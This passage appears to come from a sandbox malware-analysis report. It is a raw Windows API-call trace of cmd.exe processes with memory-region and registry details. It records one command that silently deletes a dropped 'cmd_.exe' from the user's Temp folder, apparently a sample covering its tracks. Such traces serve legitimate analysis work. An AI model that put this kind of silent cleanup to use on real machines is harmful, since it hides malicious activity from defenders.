(_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0089.479] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0089.479] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0089.479] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0089.479] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0089.479] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0089.479] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x3afbe8 | out: lpBuffer="C:\\Users\\qj4SUKboE\\Desktop") returned 0x1a [0089.479] GetFullPathNameW (in: lpFileName="C:\\Users\\qj4SUKboE\\Desktop", nBufferLength=0x104, lpBuffer=0x3afbe8, lpFilePart=0x3afbe4 | out: lpBuffer="C:\\Users\\qj4SUKboE\\Desktop", lpFilePart=0x3afbe4*="Desktop") returned 0x1a [0089.479] GetFileAttributesW (lpFileName="C:\\Users\\qj4SUKboE\\Desktop" (normalized: "c:\\users\\qj4sukboe\\desktop")) returned 0x11 [0089.479] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x3af964 | out: lpFindFileData=0x3af964) returned 0x4d4720 [0089.479] FindClose (in: hFindFile=0x4d4720 | out: hFindFile=0x4d4720) returned 1 [0089.479] FindFirstFileW (in: lpFileName="C:\\Users\\qj4SUKboE", lpFindFileData=0x3af964 | out: lpFindFileData=0x3af964) returned 0x4d4720 [0089.479] FindClose (in: hFindFile=0x4d4720 | out: hFindFile=0x4d4720) returned 1 [0089.479] _wcsnicmp (_String1="QJ4SUK~1", _String2="qj4SUKboE", _MaxCount=0x9) returned 28 [0089.480] FindFirstFileW (in: lpFileName="C:\\Users\\qj4SUKboE\\Desktop", lpFindFileData=0x3af964 | out: lpFindFileData=0x3af964) returned 0x4d4720 [0089.480] FindClose (in: hFindFile=0x4d4720 | out: hFindFile=0x4d4720) returned 1 [0089.480] GetFileAttributesW (lpFileName="C:\\Users\\qj4SUKboE\\Desktop" (normalized: "c:\\users\\qj4sukboe\\desktop")) returned 0x11 [0089.480] SetCurrentDirectoryW (lpPathName="C:\\Users\\qj4SUKboE\\Desktop" (normalized: "c:\\users\\qj4sukboe\\desktop")) returned 1 [0089.480] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\qj4SUKboE\\Desktop") returned 1 [0089.480] GetEnvironmentStringsW () returned 0x4d2228* [0089.480] FreeEnvironmentStringsW (penv=0x4d2228) returned 1 [0089.480] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a7f5260 | out: lpBuffer="C:\\Users\\qj4SUKboE\\Desktop") returned 0x1a [0089.480] GetConsoleOutputCP () returned 0x1b5 [0089.480] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a7f4260 | out: lpCPInfo=0x4a7f4260) returned 1 [0089.480] GetUserDefaultLCID () returned 0x409 [0089.481] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a7f4950, cchData=8 | out: lpLCData=":") returned 2 [0089.481] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x3afd28, cchData=128 | out: lpLCData="0") returned 2 [0089.481] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x3afd28, cchData=128 | out: lpLCData="0") returned 2 [0089.481] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x3afd28, cchData=128 | out: lpLCData="1") returned 2 [0089.481] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a7f4940, cchData=8 | out: lpLCData="/") returned 2 [0089.481] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a7f4d80, cchData=32 | out: lpLCData="Mon") returned 4 [0089.481] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a7f4d40, cchData=32 | out: lpLCData="Tue") returned 4 [0089.481] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a7f4d00, cchData=32 | out: lpLCData="Wed") returned 4 [0089.481] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a7f4cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0089.481] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a7f4c80, cchData=32 | out: lpLCData="Fri") returned 4 [0089.481] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a7f4c40, cchData=32 | out: lpLCData="Sat") returned 4 [0089.481] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a7f4c00, cchData=32 | out: lpLCData="Sun") returned 4 [0089.481] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a7f4930, cchData=8 | out: lpLCData=".") returned 2 [0089.481] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a7f4920, cchData=8 | out: lpLCData=",") returned 2 [0089.481] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0089.482] GetConsoleTitleW (in: lpConsoleTitle=0x4d22b0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0089.482] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75440000 [0089.482] GetProcAddress (hModule=0x75440000, lpProcName="CopyFileExW") returned 0x75473b92 [0089.482] GetProcAddress (hModule=0x75440000, lpProcName="IsDebuggerPresent") returned 0x75454a5d [0089.482] GetProcAddress (hModule=0x75440000, lpProcName="SetConsoleInputExeNameW") returned 0x7546a79d [0089.483] _wcsicmp (_String1="del", _String2=")") returned 59 [0089.483] _wcsicmp (_String1="FOR", _String2="del") returned 2 [0089.483] _wcsicmp (_String1="FOR/?", _String2="del") returned 2 [0089.483] _wcsicmp (_String1="IF", _String2="del") returned 5 [0089.483] _wcsicmp (_String1="IF/?", _String2="del") returned 5 [0089.483] _wcsicmp (_String1="REM", _String2="del") returned 14 [0089.483] _wcsicmp (_String1="REM/?", _String2="del") returned 14 [0089.484] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.484] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.484] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.484] GetFileType (hFile=0x7) returned 0x2 [0089.484] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0089.484] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x3afc20 | out: lpMode=0x3afc20) returned 1 [0089.484] _dup (_FileHandle=1) returned 3 [0089.484] _close (_FileHandle=1) returned 0 [0089.485] _wcsicmp (_String1="NUL", _String2="con") returned 11 [0089.485] CreateFileW (lpFileName="NUL" (normalized: "\\device\\null"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x3afbf0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0089.485] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 1 [0089.485] _get_osfhandle (_FileHandle=1) returned 0x74 [0089.485] GetFileType (hFile=0x74) returned 0x2 [0089.485] GetStdHandle (nStdHandle=0xfffffff5) returned 0x74 [0089.485] GetConsoleMode (in: hConsoleHandle=0x74, lpMode=0x3afbd4 | out: lpMode=0x3afbd4) returned 0 [0089.485] GetConsoleTitleW (in: lpConsoleTitle=0x3afa20, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0089.485] _wcsicmp (_String1="del", _String2="DIR") returned -4 [0089.485] _wcsicmp (_String1="del", _String2="ERASE") returned -1 [0089.485] _wcsicmp (_String1="del", _String2="DEL") returned 0 [0089.538] GetCurrentDirectoryW (in: nBufferLength=0x106, lpBuffer=0x3af7d8 | out: lpBuffer="C:\\Users\\qj4SUKboE\\Desktop") returned 0x1a [0089.538] GetCurrentDirectoryW (in: nBufferLength=0x106, lpBuffer=0x3ae868 | out: lpBuffer="C:\\Users\\qj4SUKboE\\Desktop") returned 0x1a [0089.538] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x3aea98, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x3aea9c, nFileSystemNameSize=0x106 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x3aea98*=0xff, lpFileSystemFlags=0x0, lpFileSystemNameBuffer="NTFS") returned 1 [0089.538] _wcsicmp (_String1="NTFS", _String2="FAT") returned 8 [0089.538] _wcsicmp (_String1="cmd_.exe", _String2=".") returned 53 [0089.538] _wcsicmp (_String1="cmd_.exe", _String2="..") returned 53 [0089.538] GetFileAttributesW (lpFileName="C:\\Users\\QJ4SUK~1\\AppData\\Local\\Temp\\cmd_.exe" (normalized: "c:\\users\\qj4suk~1\\appdata\\local\\temp\\cmd_.exe")) returned 0x2020 [0089.538] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4d2a40 | out: lpBuffer="C:\\Users\\qj4SUKboE\\Desktop") returned 0x1a [0089.538] SetErrorMode (uMode=0x0) returned 0x0 [0089.539] SetErrorMode (uMode=0x1) returned 0x0 [0089.539] GetFullPathNameW (in: lpFileName="C:\\Users\\QJ4SUK~1\\AppData\\Local\\Temp\\cmd_.exe", nBufferLength=0x104, lpBuffer=0x3aeebc, lpFilePart=0x3aeea4 | out: lpBuffer="C:\\Users\\QJ4SUK~1\\AppData\\Local\\Temp\\cmd_.exe", lpFilePart=0x3aeea4*="cmd_.exe") returned 0x2d [0089.539] SetErrorMode (uMode=0x0) returned 0x1 [0089.539] GetFileAttributesW (lpFileName="C:\\Users\\QJ4SUK~1\\AppData\\Local\\Temp" (normalized: "c:\\users\\qj4suk~1\\appdata\\local\\temp")) returned 0x2010 [0089.539] _wcsicmp (_String1="cmd_.exe", _String2=".") returned 53 [0089.539] _wcsicmp (_String1="cmd_.exe", _String2="..") returned 53 [0089.539] GetFileAttributesW (lpFileName="C:\\Users\\QJ4SUK~1\\AppData\\Local\\Temp\\cmd_.exe" (normalized: "c:\\users\\qj4suk~1\\appdata\\local\\temp\\cmd_.exe")) returned 0x2020 [0089.539] FindFirstFileExW (in: lpFileName="C:\\Users\\QJ4SUK~1\\AppData\\Local\\Temp\\cmd_.exe", fInfoLevelId=0x0, lpFindFileData=0x4d51cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x4d51cc) returned 0x4d2d10 [0089.539] DeleteFileW (lpFileName="C:\\Users\\QJ4SUK~1\\AppData\\Local\\Temp\\cmd_.exe" (normalized: "c:\\users\\qj4suk~1\\appdata\\local\\temp\\cmd_.exe")) returned 1 [0089.541] FindNextFileW (in: hFindFile=0x4d2d10, lpFindFileData=0x4d51cc | out: lpFindFileData=0x4d51cc) returned 0 [0089.541] GetLastError () returned 0x12 [0089.541] FindClose (in: hFindFile=0x4d2d10 | out: hFindFile=0x4d2d10) returned 1 [0089.541] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0089.542] _close (_FileHandle=3) returned 0 [0089.542] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.542] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0089.542] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.542] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a7f41ac | out: lpMode=0x4a7f41ac) returned 1 [0089.542] _get_osfhandle (_FileHandle=0) returned 0x3 [0089.542] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a7f41b0 | out: lpMode=0x4a7f41b0) returned 1 [0089.542] SetConsoleInputExeNameW () returned 0x1 [0089.542] GetConsoleOutputCP () returned 0x1b5 [0089.542] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a7f4260 | out: lpCPInfo=0x4a7f4260) returned 1 [0089.542] SetThreadUILanguage (LangId=0x0) returned 0x409 [0089.542] exit (_Code=0) Process: id = "23" image_name = "cmd.exe" filename = "c:\\windows\\syswow64\\cmd.exe" page_root = "0x34b05000" os_pid = "0xa80" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0x814" cmd_line = "\"C:\\Windows\\system32\\cmd.exe\" /c del C:\\Users\\QJ4SUK~1\\AppData\\Local\\Temp\\cmd_.exe >> NUL" cur_dir = "C:\\Users\\qj4SUKboE\\Desktop\\" os_username = "EXB9WSP\\qj4SUKboE" os_groups = "EXB9WSP\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eaf1" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3361 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3362 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 3363 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3364 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 3365 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 3366 start_va = 0x160000 end_va = 0x19ffff entry_point = 0x0 region_type = private name = "private_0x0000000000160000" filename = "" Region: id = 3367 start_va = 0x2e0000 end_va = 0x3dffff entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 3368 start_va = 0x4a7d0000 end_va = 0x4a81bfff entry_point = 0x4a7d0000 region_type = mapped_file name = "cmd.exe" filename = "\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe") Region: id = 3369 start_va = 0x773f0000 end_va = 0x77598fff entry_point = 0x773f0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3370 start_va = 0x775d0000 end_va = 0x7774ffff entry_point = 0x775d0000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 3371 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 3372 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 3373 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 3374 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 3375 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3376 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3377 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 3378 start_va = 0x560000 end_va = 0x5dffff entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 3379 start_va = 0x74d90000 end_va = 0x74debfff entry_point = 0x74d90000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 3380 start_va = 0x74df0000 end_va = 0x74e2efff entry_point = 0x74df0000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 3381 start_va = 0x74e50000 end_va = 0x74e57fff entry_point = 0x74e50000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 3414 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3415 start_va = 0x20000 end_va = 0x2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 3416 start_va = 0x70000 end_va = 0xd6fff entry_point = 0x70000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3417 start_va = 0x760000 end_va = 0x85ffff entry_point = 0x0 region_type = private name = "private_0x0000000000760000" filename = "" Region: id = 3418 start_va = 0x750c0000 end_va = 0x750c6fff entry_point = 0x750c0000 region_type = mapped_file name = "winbrand.dll" filename = "\\Windows\\SysWOW64\\winbrand.dll" (normalized: "c:\\windows\\syswow64\\winbrand.dll") Region: id = 3419 start_va = 0x75120000 end_va = 0x7512bfff entry_point = 0x75120000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 3420 start_va = 0x75130000 end_va = 0x7518ffff entry_point = 0x75130000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 3421 start_va = 0x75290000 end_va = 0x752d5fff entry_point = 0x75290000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 3422 start_va = 0x75440000 end_va = 0x7554ffff entry_point = 0x75440000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 3423 start_va = 0x75900000 end_va = 0x759abfff entry_point = 0x75900000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 3424 start_va = 0x75d10000 end_va = 0x75e0ffff entry_point = 0x75d10000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 3425 start_va = 0x75e10000 end_va = 0x75e9ffff entry_point = 0x75e10000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 3426 start_va = 0x75ea0000 end_va = 0x75f3cfff entry_point = 0x75ea0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 3427 start_va = 0x760a0000 end_va = 0x760a9fff entry_point = 0x760a0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 3428 start_va = 0x76e20000 end_va = 0x76e38fff entry_point = 0x76e20000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 3429 start_va = 0x76f00000 end_va = 0x76feffff entry_point = 0x76f00000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 3430 start_va = 0x77130000 end_va = 0x771cffff entry_point = 0x77130000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 3431 start_va = 0x771d0000 end_va = 0x772c9fff entry_point = 0x0 region_type = private name = "private_0x00000000771d0000" filename = "" Region: id = 3432 start_va = 0x772d0000 end_va = 0x773eefff entry_point = 0x0 region_type = private name = "private_0x00000000772d0000" filename = "" Region: id = 3433 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3434 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3435 start_va = 0x2b0000 end_va = 0x2bffff entry_point = 0x0 region_type = private name = "private_0x00000000002b0000" filename = "" Region: id = 3436 start_va = 0x860000 end_va = 0x9e7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000860000" filename = "" Region: id = 3437 start_va = 0x75300000 end_va = 0x753cbfff entry_point = 0x75300000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 3438 start_va = 0x76dc0000 end_va = 0x76e1ffff entry_point = 0x76dc0000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3439 start_va = 0x30000 end_va = 0x36fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3440 start_va = 0xe0000 end_va = 0xe1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 3441 start_va = 0xf0000 end_va = 0xf0fff entry_point = 0x0 region_type = private name = "private_0x00000000000f0000" filename = "" Region: id = 3442 start_va = 0x100000 end_va = 0x100fff entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 3443 start_va = 0x9f0000 end_va = 0xb70fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009f0000" filename = "" Region: id = 3444 start_va = 0xb80000 end_va = 0x1f7ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b80000" filename = "" Region: id = 3445 start_va = 0x1f80000 end_va = 0x22c2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f80000" filename = "" Thread: id = 190 os_tid = 0xa90 [0089.665] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x3df940 | out: lpSystemTimeAsFileTime=0x3df940*(dwLowDateTime=0x105953d0, dwHighDateTime=0x1d3fd7c)) [0089.665] GetCurrentProcessId () returned 0xa80 [0089.665] GetCurrentThreadId () returned 0xa90 [0089.665] GetTickCount () returned 0xa6f192 [0089.665] QueryPerformanceCounter (in: lpPerformanceCount=0x3df938 | out: lpPerformanceCount=0x3df938*=569957502) returned 1 [0089.666] GetModuleHandleA (lpModuleName=0x0) returned 0x4a7d0000 [0089.666] __set_app_type (_Type=0x1) [0089.666] __p__fmode () returned 0x759a31f4 [0089.666] __p__commode () returned 0x759a31fc [0089.666] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a7f21a6) returned 0x0 [0089.666] __getmainargs (in: _Argc=0x4a7f4238, _Argv=0x4a7f4240, _Env=0x4a7f423c, _DoWildCard=0, _StartInfo=0x4a7f4140 | out: _Argc=0x4a7f4238, _Argv=0x4a7f4240, _Env=0x4a7f423c) returned 0 [0089.666] GetCurrentThreadId () returned 0xa90 [0089.666] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0xa90) returned 0x60 [0089.666] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75440000 [0089.666] GetProcAddress (hModule=0x75440000, lpProcName="SetThreadUILanguage") returned 0x7546a84f [0089.666] SetThreadUILanguage (LangId=0x0) returned 0x409 [0089.666] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0089.666] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x3df8d0 | out: phkResult=0x3df8d0*=0x0) returned 0x2 [0089.666] VirtualQuery (in: lpAddress=0x3df907, lpBuffer=0x3df8a0, dwLength=0x1c | out: lpBuffer=0x3df8a0*(BaseAddress=0x3df000, AllocationBase=0x2e0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0089.666] VirtualQuery (in: lpAddress=0x2e0000, lpBuffer=0x3df8a0, dwLength=0x1c | out: lpBuffer=0x3df8a0*(BaseAddress=0x2e0000, AllocationBase=0x2e0000, AllocationProtect=0x4, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000)) returned 0x1c [0089.666] VirtualQuery (in: lpAddress=0x2e1000, lpBuffer=0x3df8a0, dwLength=0x1c | out: lpBuffer=0x3df8a0*(BaseAddress=0x2e1000, AllocationBase=0x2e0000, AllocationProtect=0x4, RegionSize=0x2000, State=0x1000, Protect=0x104, Type=0x20000)) returned 0x1c [0089.666] VirtualQuery (in: lpAddress=0x2e3000, lpBuffer=0x3df8a0, dwLength=0x1c | out: lpBuffer=0x3df8a0*(BaseAddress=0x2e3000, AllocationBase=0x2e0000, AllocationProtect=0x4, RegionSize=0xfd000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0089.666] VirtualQuery (in: lpAddress=0x3e0000, lpBuffer=0x3df8a0, dwLength=0x1c | out: lpBuffer=0x3df8a0*(BaseAddress=0x3e0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x180000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0089.666] GetConsoleOutputCP () returned 0x1b5 [0089.667] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a7f4260 | out: lpCPInfo=0x4a7f4260) returned 1 [0089.667] SetConsoleCtrlHandler (HandlerRoutine=0x4a7ee72a, Add=1) returned 1 [0089.667] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.667] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0089.667] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.667] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a7f41ac | out: lpMode=0x4a7f41ac) returned 1 [0089.667] _get_osfhandle (_FileHandle=1) returned 0x7 [0089.667] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0089.667] _get_osfhandle (_FileHandle=0) returned 0x3 [0089.667] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a7f41b0 | out: lpMode=0x4a7f41b0) returned 1 [0089.667] _get_osfhandle (_FileHandle=0) returned 0x3 [0089.667] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1 [0089.667] GetEnvironmentStringsW () returned 0x772228* [0089.667] FreeEnvironmentStringsW (penv=0x772228) returned 1 [0089.668] GetEnvironmentStringsW () returned 0x772228* [0089.668] FreeEnvironmentStringsW (penv=0x772228) returned 1 [0089.668] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x3de840 | out: phkResult=0x3de840*=0x68) returned 0x0 [0089.668] RegQueryValueExW (in: hKey=0x68, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x3de848, lpData=0x3de84c, lpcbData=0x3de844*=0x1000 | out: lpType=0x3de848*=0x0, lpData=0x3de84c*=0x0, lpcbData=0x3de844*=0x1000) returned 0x2 [0089.668] RegQueryValueExW (in: hKey=0x68, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x3de848, lpData=0x3de84c, lpcbData=0x3de844*=0x1000 | out: lpType=0x3de848*=0x4, lpData=0x3de84c*=0x1, lpcbData=0x3de844*=0x4) returned 0x0 [0089.668] RegQueryValueExW (in: hKey=0x68, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x3de848, lpData=0x3de84c, lpcbData=0x3de844*=0x1000 | out: lpType=0x3de848*=0x0, lpData=0x3de84c*=0x1, lpcbData=0x3de844*=0x1000) returned 0x2 [0089.668] RegQueryValueExW (in: hKey=0x68, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x3de848, lpData=0x3de84c, lpcbData=0x3de844*=0x1000 | out: lpType=0x3de848*=0x4, lpData=0x3de84c*=0x0, lpcbData=0x3de844*=0x4) returned 0x0 [0089.668] RegQueryValueExW (in: hKey=0x68, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x3de848, lpData=0x3de84c, lpcbData=0x3de844*=0x1000 | out: lpType=0x3de848*=0x4, lpData=0x3de84c*=0x40, lpcbData=0x3de844*=0x4) returned 0x0 [0089.668] RegQueryValueExW (in: hKey=0x68, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x3de848, lpData=0x3de84c, lpcbData=0x3de844*=0x1000 | out: lpType=0x3de848*=0x4, lpData=0x3de84c*=0x40, lpcbData=0x3de844*=0x4) returned 0x0 [0089.668] RegQueryValueExW (in: hKey=0x68, lpValueName="AutoRun", lpReserved=0x0, lpType=0x3de848, lpData=0x3de84c, lpcbData=0x3de844*=0x1000 | out: lpType=0x3de848*=0x0, lpData=0x3de84c*=0x40, lpcbData=0x3de844*=0x1000) returned 0x2 [0089.668] RegCloseKey (hKey=0x68) returned 0x0 [0089.668] RegOpenKeyExW (in: hKey=0x80000001, 